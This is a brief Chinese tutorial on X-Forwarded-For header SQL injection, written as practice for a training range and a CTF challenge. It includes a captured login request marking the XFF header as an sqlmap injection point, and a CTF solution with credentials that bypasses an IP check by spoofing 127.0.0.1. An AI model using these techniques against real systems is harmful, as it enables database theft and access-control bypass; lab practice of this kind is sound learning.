XFF注入屬於HTTP頭注入的一點內容。
XFF注入是SQL注入的一種，該注入原理是通過修改X-Forwarded-For頭對帶入系統的dns進行sql注入，從而得到網站的數據庫內容。
HTTP頭文件里的X-Forwarded-For和Clien-IP一樣都是獲取訪問者真實IP的語句
X-Forwarded-For：簡稱XFF頭，它代表客戶端，也就是HTTP的請求端真實的IP,（通常一些網站的防注入功能會記錄請求端真實IP地址並寫入數據庫or某文件[通過修改XXF頭可以實現偽造IP]）。HTTP頭文件里的X-Forwarded-For和Clien-IP一樣都是獲取訪問者真實IP的語句。
在墨者學院靶場可以練手
登陸抓包：
POST /index.php HTTP/1.1
Host: 219.153.49.228:46109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:xml zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
X-Forwarded-for: *
Upgrade-Insecure-Requests: 1
username=admin&password=admin
手動添加X-Forwarded-for: *
使用sqlmap即可盤跑出。
CTF題
http://123.206.31.85:1003/也可以練手，發現隨意輸入用戶名密碼后被禁止IP，正確用戶名：admin，密碼：test123怎么才能繞過IP檢測？
如圖手動添加一個X-Forwarded-For：127.0.0.1。讓目標認為是自身IP從而得到flag。